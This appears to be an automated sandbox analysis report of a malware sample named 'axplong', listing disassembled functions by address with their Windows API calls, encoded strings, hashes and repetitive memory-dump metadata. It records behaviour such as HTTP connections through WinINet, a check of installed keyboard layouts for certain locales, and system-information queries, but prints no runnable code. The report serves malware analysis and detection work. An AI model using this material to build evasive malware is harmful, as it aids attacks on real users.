stoi argument out of range, xrefs: 0020E3FA
8KG0fymoFx==, xrefs: 0020C2EB, 0020C543
invalid stoi argument, xrefs: 0020E404
RHYTYv==, xrefs: 0020BE33
d4&, xrefs: 0020E2FF
8KG0fCKZFzY=, xrefs: 0020C385
RpKt, xrefs: 0020D516

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$RpKt$d4&$invalid stoi argument$stoi argument out of range
API String ID: 1354133546-3480997542
Opcode ID: 1551784b31cd98b9f129e0dcaba673cf97a15f494d902ccd207c8d1e41eaff1d
Instruction ID: caa4e917bfb25becc044d68bdb93069a9ac664cc0d699628285295e678443cfe
Opcode Fuzzy Hash: 1551784b31cd98b9f129e0dcaba673cf97a15f494d902ccd207c8d1e41eaff1d
Instruction Fuzzy Hash: B2B1D6B15202189BEB28DF28CC85BEEBBB9EF45304F504299F509972C2D7719AD4CF94

Function 0021D312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0020247E

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 2fff7fad338f60c7ba7732a3c0fd121820b3c5673da4cf3fce83baad977d403d
Instruction ID: cedcffbceb13ee0103d57431c8de6caccfdd7e76ad489cb0d2a4fffec4d0c9c9
Opcode Fuzzy Hash: 2fff7fad338f60c7ba7732a3c0fd121820b3c5673da4cf3fce83baad977d403d
Instruction Fuzzy Hash: 44519FB2920A06CFDB15CF58E8957AEB7F4FB28310F24856AD405EB290D7B49D94CF90

Function 00213550 Relevance: 53.3, APIs: 1, Strings: 29, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0021425F

Part of subcall function 00217870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 0021795C
Part of subcall function 00217870: __Cnd_destroy_in_situ.LIBCPMT ref: 00217968
Part of subcall function 00217870: __Mtx_destroy_in_situ.LIBCPMT ref: 00217971

Strings

Fz==, xrefs: 0021369E, 00214D2D
aZT6, xrefs: 002153CC
WJP6, xrefs: 002153A3
6F9fr==, xrefs: 00214712
KFT0PL==, xrefs: 002154B9
W07l, xrefs: 00213AEE
9KN6, xrefs: 00215351
HBhr, xrefs: 0021378F
stoi argument out of range, xrefs: 00212E02, 00214269, 00214EAC
JB6, xrefs: 002153F5
Vp 6, xrefs: 00215447
fed3aa, xrefs: 0020FA9E, 00215489
MJF+, xrefs: 002147BD, 002148EC, 00214ADC, 00214C0B
WJms, xrefs: 00213BD9
246122658369, xrefs: 0020F647, 0020F924, 002104F7, 002108AA, 00211EA5, 002127EE, 00212A43, 00212AB0, 00212E88, 00213373, 002133D4, 00214F4D, 00214F8F, 00214F99, 002154F4
5F6, xrefs: 00215497
V0N6, xrefs: 0021537A
5120, xrefs: 00213ABF, 00213BAA
96B6, xrefs: 00215470
MJB+, xrefs: 0020E734, 00214776, 002147ED, 00214A95, 00214B0C
", xrefs: 00213E99
-&, xrefs: 00214F3A
invalid stoi argument, xrefs: 00212DE9, 00212DF8, 0021425A, 00214E9D
aqB6, xrefs: 002154DB
mP=, xrefs: 00216383
V5Qk, xrefs: 00213DC0
V0x6, xrefs: 0021541E
8ZF6, xrefs: 00215502
9526, xrefs: 0021531D

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$"$246122658369$5120$8ZF6$9526$96B6$9KN6$Fz==$HBhr$KFT0PL==$MJB+$MJF+$V0N6$V0x6$V5Qk$Vp 6$W07l$WJP6$WJms$aZT6$aqB6$fed3aa$invalid stoi argument$stoi argument out of range$-&
API String ID: 4234742559-2093750025
Opcode ID: 47ae80f6f679c28a08829b8a7393be45e540e62dce56032b22e135c7ee7bc99f
Instruction ID: 779e816ba5458d3b58b53108d9f699779ecd553bc3631d5c03dd2dee3d9a1a21
Opcode Fuzzy Hash: 47ae80f6f679c28a08829b8a7393be45e540e62dce56032b22e135c7ee7bc99f
Instruction Fuzzy Hash: C0523671A20248DBDF18EF78CC4A7DDBBB6AF65304F504198E405A7282D7749AE4CF92

Function 002146C0 Relevance: 38.5, APIs: 1, Strings: 23, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 00217870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 0021795C
Part of subcall function 00217870: __Cnd_destroy_in_situ.LIBCPMT ref: 00217968
Part of subcall function 00217870: __Mtx_destroy_in_situ.LIBCPMT ref: 00217971

Part of subcall function 0020BD60: InternetOpenW.WININET(00258D70,00000000,00000000,00000000,00000000), ref: 0020BDEC
Part of subcall function 0020BD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0020BE10
Part of subcall function 0020BD60: HttpOpenRequestA.WININET(?,00000000), ref: 0020BE5B

std::_Xinvalid_argument.LIBCPMT ref: 00214EA2

Strings

Fz==, xrefs: 0021369E, 00214D2D
aZT6, xrefs: 002153CC
246122658369, xrefs: 00214F4D, 00214F8F, 00214F99, 002154F4
5F6, xrefs: 00215497
WJP6, xrefs: 002153A3
6F9fr==, xrefs: 00214712
V0N6, xrefs: 0021537A
KFT0PL==, xrefs: 002154B9
96B6, xrefs: 00215470
9KN6, xrefs: 00215351
MJB+, xrefs: 00214776, 002147ED, 00214A95, 00214B0C
, xrefs: 00216B3C
stoi argument out of range, xrefs: 00214269, 00214EAC
JB6, xrefs: 002153F5
-&, xrefs: 00214F3A
Vp 6, xrefs: 00215447
fed3aa, xrefs: 00215489
aqB6, xrefs: 002154DB
mP=, xrefs: 00216383, 00216652
V0x6, xrefs: 0021541E
MJF+, xrefs: 002147BD, 002148EC, 00214ADC, 00214C0B
8ZF6, xrefs: 00215502
9526, xrefs: 0021531D

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$ $246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$stoi argument out of range$-&
API String ID: 2414744145-1113860156
Opcode ID: d747f0c2d9fdc3902a3aff0f1c6097a4c173171c00363b274cf1dcb2282bfb65
Instruction ID: 0e1f8f60e65005c4a2be85609fa93dc4d42bc4923f208ed511843e21d8decc8b
Opcode Fuzzy Hash: d747f0c2d9fdc3902a3aff0f1c6097a4c173171c00363b274cf1dcb2282bfb65
Instruction Fuzzy Hash: FB232571A202589BEB19DB28CD897DDBBB69FA1304F5081D8E008A72C6DB355FE4CF51

Function 00205DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00205FA8
00000423, xrefs: 0020600A
Keyboard Layout\Preload, xrefs: 00205F64
00000422, xrefs: 00205FD9
0000043f, xrefs: 0020603B

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: a50780cd88178f192fde395f3237a7a4cdf22cbf9c750be01ea4212749a612fe
Instruction ID: 7c695c226790fc8de49be6665457b8f4a094a3b72f2524ef4888d544a90824f0
Opcode Fuzzy Hash: a50780cd88178f192fde395f3237a7a4cdf22cbf9c750be01ea4212749a612fe
Instruction Fuzzy Hash: E2E19E71910218ABEB24DFA4CC8DBDEB7B9AF14304F5042D9E408A7292D774ABE4CF51

Function 00207D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00207EA3

Strings

JmpxQb==, xrefs: 002081B2
JmpxRL==, xrefs: 00208062
JmpyPb==, xrefs: 0020810A

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JmpxQb==$JmpxRL==$JmpyPb==
API String ID: 1721193555-2057465332
Opcode ID: b69d51482bb8141688a498114847220119a7b8c7c15dd87de1c5fcec2cb2f670
Instruction ID: e33cf7ce8f15a6346d3b19d26204611090088ebf7283b0c0f2f1d779b7ae1107
Opcode Fuzzy Hash: b69d51482bb8141688a498114847220119a7b8c7c15dd87de1c5fcec2cb2f670
Instruction Fuzzy Hash: CDD1F670E20754DBDB14BB28DC4A39E7B71AB82314F544298E8056B3C3DB755EA48FD2

Function 00236E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 00236E23
GetFileInformationByHandle.KERNEL32(?,?), ref: 00236E7D
__dosmaperr.LIBCMT ref: 00236F12

Part of subcall function 00237177: __dosmaperr.LIBCMT ref: 002371AC

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 9c890aa4bc8aeff5247adc6df4c05c9281c7e9a01b0f66179545c6ff872c4db4
Instruction ID: 65386a5a49007e32333fe7161c32805e91e0214038d01add63da641d3000a4eb
Opcode Fuzzy Hash: 9c890aa4bc8aeff5247adc6df4c05c9281c7e9a01b0f66179545c6ff872c4db4
Instruction Fuzzy Hash: E9414EB5910245ABDB24EFB5EC459ABBBF9EF88300B10852DF556D3610EA70A914CB60

Function 00236C99 Relevance: 3.1, APIs: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 446d253f1c1fb286b3a79704646e6068edf7c452e0fd6cfb40d822dc1a6c6152
Instruction ID: be1f37da0060f320f88b46a9b20d8f8540503c467532d916baf098eee91f6a3f
Opcode Fuzzy Hash: 446d253f1c1fb286b3a79704646e6068edf7c452e0fd6cfb40d822dc1a6c6152
Instruction Fuzzy Hash: 8C21FBF1A252087AEF117F64AC45B9E372D9F41378F108310F9243B1D1DB70AE259AA1

Function 00216AE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00216B65

Strings

, xrefs: 00216B3C

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-3162483948
Opcode ID: f3ae6660c9533332cbdf8e1b910df203101d2d6b89a24a6420fa5bdda0b8ca72
Instruction ID: 490f47e29e68a5117d8d81f71921f331116be6a61ffb205f047dfc53e21e0535
Opcode Fuzzy Hash: f3ae6660c9533332cbdf8e1b910df203101d2d6b89a24a6420fa5bdda0b8ca72
Instruction Fuzzy Hash: C1F0F971E20614EBC700BB689C0B75E7BB4E757764F900348E811672D1DA705A248BD2

Function 0023D4F4 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca396ad90cd3eee52bd0206054c4d1d2a870688d88f2665bbd07fe16a217cd8b
Instruction ID: 2f5510c0f20b88fa24c644b431ce7546d9c5a8761f8622a3276f0ac78ee7c51c
Opcode Fuzzy Hash: ca396ad90cd3eee52bd0206054c4d1d2a870688d88f2665bbd07fe16a217cd8b
Instruction Fuzzy Hash: AC6114F2E302168BDF25DFA8F8867EDB7B4AB55315F64811AE458AB250D6309C208F51

Function 002082B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00208454

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

